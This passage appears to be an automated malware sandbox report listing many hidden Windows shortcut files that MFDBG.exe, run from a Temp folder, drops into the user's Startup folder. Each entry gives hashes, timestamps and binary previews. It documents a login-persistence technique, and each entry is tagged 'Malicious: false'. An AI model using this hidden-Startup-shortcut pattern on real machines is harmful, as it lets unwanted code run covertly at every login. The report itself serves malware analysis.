File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917539880290551
Encrypted:	false
SSDEEP:	24:8LBfc8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:89REvZ0yRO7DLO2zdxdRd1kyg
MD5:	47375BC02A713E12F9FEB8D185184666
SHA1:	99E8711344229D88E244C8CBC65746BEDB124DDC
SHA-256:	1C6EA233AFE0845C3D537F1CA61CCFCA0E6461728CEBE14C496AA62B5D28E575
SHA-512:	DEC14C93249575F18EC905EDBC657A379FCF2A96233137036C3592B15965B236A74A3A7C3609EAF6CE1D3E1D4F7D92F31B9956E339ED5059B1D40C24E993B5C0
Malicious:	false
Preview:	L..................F....".......d......?d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...B..?d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_731a632d2ce24ba885663aa873733cb1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926685730869938
Encrypted:	false
SSDEEP:	24:8SBfT+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ALTEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8E09BD9B63617E7A242986B2A41CDBEE
SHA1:	4D2EB0B63668226E8A5FA76F134669A1FA36F0CF
SHA-256:	02D8830DE120DEC74E2F99C48739842B93EA899F0ADE0CAF43EB80B90B23FA9C
SHA-512:	131C29E5903FE5202B29C1A9A3E226782F5C6A202156B3A6D197E2912D712DF4154AC3E1C601498740BB447CE14972EA7CE71F2057C971E5E0968D48E4FE91EA
Malicious:	false
Preview:	L..................F....".......d......9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....iO9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7331b928e3044dbc8a29926e85c0d175.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922533415061106
Encrypted:	false
SSDEEP:	24:8FBfEO8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8HuEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AA934EA17180542CC71388288B774508
SHA1:	4927BAA50C4940DEF29E7BABB1B0645DAD7CD8B0
SHA-256:	0D5EBB6521A9A243EB2C5E833AB948F1D994B6E23CA57829E0F69BC38774C58A
SHA-512:	EA168E2DD01186A17BCED6BB5580C314F8411D28A4B7983B8F99A0B88B9B874F6640AF7F7D8F38F08B2297264877266B777AD6452D25274C339F5EF51954628C
Malicious:	false
Preview:	L..................F....".......d...w..~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_733cf5b30cd64d09b446b08fddac3d25.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921243849123463
Encrypted:	false
SSDEEP:	24:86BfVkD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:84t9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	9232CD90B3190D5D52A7D3CEFAE577D2
SHA1:	12409EBF43C4A8405AAC0707D1F0330DE69E5A05
SHA-256:	EA23A282EC8D9009CC793D0F288F79D7847A8EFD0609C9C2E7B394B11D3EBDA4
SHA-512:	0B037412EDD80EB874316D221B5D20AAD7504741C8FF9266F7A0C564B352C264E61B984A9A1D0D56B2BB8C145B76224FB6A6DED96275C34D8D3E83EAE67C2AE0
Malicious:	false
Preview:	L..................F....".......d....S.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....,.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_739749d2981443eda3e717f5ee3ca804.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.91806984153792
Encrypted:	false
SSDEEP:	24:8tBfTf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8foEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C0543F76D78551F642EFAE8E46510FBA
SHA1:	087F88D1E4AEC1BCE14ED7A6C6D340D1085FCB95
SHA-256:	50BAADF60D0FD297AEC36EB99829990A9C1C869019F7229EA63410809A786AA9
SHA-512:	1E2626744FF09815CCA4E9C561F8B252EC94B064505FB95C5D59DD299753EC82D71982093ECA0A9E1F7B96AA36D82EB7E3B716437469260C21B839BB2958EE52
Malicious:	false
Preview:	L..................F....".......d......\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...M..[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_73f6562e1bec40298f564166282e74ad.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929727068837652
Encrypted:	false
SSDEEP:	24:8eBfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:80JEvZ0yRO7DLO2zdxdRd1kyg
MD5:	FF1393B2031E15945FAE84C3B9CF0B0E
SHA1:	10CC262A8690238E793A34C10274259B7D2F9B19
SHA-256:	13F21CF1FE87DFB5D2E679072D43BC2F12A28D4CC0125B7AADC28411A0D541AE
SHA-512:	7A56369041A9810E500014A8C95A1DFD1E39B5E28467439D66F256C63845DD82C4443F84FC2B444C799ECA2024CA51566C8A1CD71682CBE109D3B5D5F3F1EFED
Malicious:	false
Preview:	L..................F....".......d.....;.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....(.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_744f5776c1cd4a76b913ccc1eb694b52.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928271586256625
Encrypted:	false
SSDEEP:	24:8EkTBf8+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8E8ETEvZ0yRO7DLO2zdxdRd1kyg
MD5:	22A38480AE1E26F3F7D30D058A5193C4
SHA1:	356C303EDDA3CFAD81AF8399925BF09CBC5CAF89
SHA-256:	DAFCCADD356A1416E2EB1445499E086E97C66C70E9EA8004F31F2F7942DF2EA2
SHA-512:	8BCEC6CB7D6EB8AF84B039B3274CD260B41C1F25AAE6813AA6EA26DCFED0D749E485F881D966570713B2B3290B23D4A17C963CA136B2894E3ABB6C9D7451AC5D
Malicious:	false
Preview:	L..................F....".......d...\].<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_758ebd1bfa024dbea04cb7f2a17ecc9e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920339384227913
Encrypted:	false
SSDEEP:	24:85aBfY8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:85YVEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2BD2431DD1089B2FA3ED5E343A0768F0
SHA1:	1181A13B0FAC71CC1446411BA2782291E0453113
SHA-256:	224E3BB4E326831E454A1CA94030AF78659287ACDB4BDD6913FE67B830AF01A4
SHA-512:	F257D1698B9B6888B2AFD4256F015018DA9B5BEDCC6913F0A4659591753F1594AF73B822586FC2E30C9FFE0961A923ED96E43773AC40E3204C33731EF0FAB991
Malicious:	false
Preview:	L..................F....".......d.....b^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...K.n^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_75e402a61dba44b782e9befef36bb5b7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9254700949293095
Encrypted:	false
SSDEEP:	24:8tBf28EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8fzEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6099DB2AB55B8EE7E1B47E5343BC2DAD
SHA1:	3BF7B51C741645D2FA5375CE3843F48371AADEEB
SHA-256:	F31464D632DEA661D52695B3E8D5E805E46BB098773F4DBE6DF776DA7D6A764D
SHA-512:	3C33D8586F30AF3F03DE8269EF82CFF9DD7FDB9A12780F5A600852F49BC4530AB7E5963DCCCB91A1D26EB02915E8005E6FDEAE3835F6601FFB87A2C013A5834B
Malicious:	false
Preview:	L..................F....".......d...f\|._d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....._d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_766d0ac29ec54a0089f374c719c5177a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:42 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928095108833225
Encrypted:	false
SSDEEP:	24:80Bfo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8aFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1516D99AB1FB44E7CD80B2621201794B
SHA1:	9F07C080A89094CFEC47AD76187F3931726225E9
SHA-256:	BC8A49EB96E15F5D0ACD23546D6741BCBB8E5CDDE376EB8801785B48B8F17B3A
SHA-512:	DC50761C56B5CFE0D251E5DB2ADFA48793550F0D535FFBACE9C7139A56C3F711862C152895B99D14ED3503D08A907FBEF9A00BFBB39D230F9575108C3145BC07
Malicious:	false
Preview:	L..................F....".......d...l..}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....H~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7698349428ef4dc780a3e1e7e9b7a5d7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923454456081033
Encrypted:	false
SSDEEP:	24:8GBfx+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8MtEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CDE25A1A905CBD7BB43BB2C1508F4146
SHA1:	CC788CBC1EF8573AEB2E760BAE33D4AC1BCA7E5E
SHA-256:	A49C0403B785CC1EF84C502CD2C263908C652F088FB0089382CE0743A375DB55
SHA-512:	8FAB3544D14B0875C6F478489CFBDA85A0900A4D80D27A73D26E88E2EBDADD953F57730E50594771F93B8A34F669EA698D70D0A2E09C97C07CF4B45A83372E3E
Malicious:	false
Preview:	L..................F....".......d.....=.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c..../.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_77a25129c6d64ccbbfda9413779b332f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:17 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9211558619251266
Encrypted:	false
SSDEEP:	24:8V6Bfy8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8O3EvZ0yRO7DLO2zdxdRd1kyg
MD5:	9ADBBFCC738C8F96EA0D6B24DF13DA2B
SHA1:	13AEEE95CFF45FF4778F0203DB1CC3BD8B7ABF26
SHA-256:	7942616971A8AB71A57AC872E9BDC8F01ABAB10AF4DD1136AAE11671E82E1B36
SHA-512:	0C0B8227C2F097B8F431BE3C7154996EFD0CF2CEB3DD97C2A7E74BA221D1E26E2F882C51A4DF2DF61CF963C28B138AD403C6EA3A4A5A6494B3EFB394CA69BB96
Malicious:	false
Preview:	L..................F....".......d.....'d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...F..'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_77d818a226d64832bb5b21c3e03002ca.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:52 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923900480245505
Encrypted:	false
SSDEEP:	24:8F/qTTBfP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8tqRsEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D95E1C39EF93D5C4D1B270CEAF42D64B
SHA1:	EFC8D0A7728CA8A63AFC0A7EB400AA02265CACCB
SHA-256:	BC0C3311BFCD483ED83BEFEC315AF547D1C65181C72105667BFF78BA35364BE2
SHA-512:	F1BF1C238C0A43A36E4CAD6BC833E1FC9804C8B8E030FE3216A78A8E60DA8C8DD01D9FEEE3440B006C1CC55F84828C72CB54702321EB9B0DD93EE0D0EF3EA928
Malicious:	false
Preview:	L..................F....".......d....ZJ<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....z<d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_78162a22b2ef4f0689da0a2ba73b1dbd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
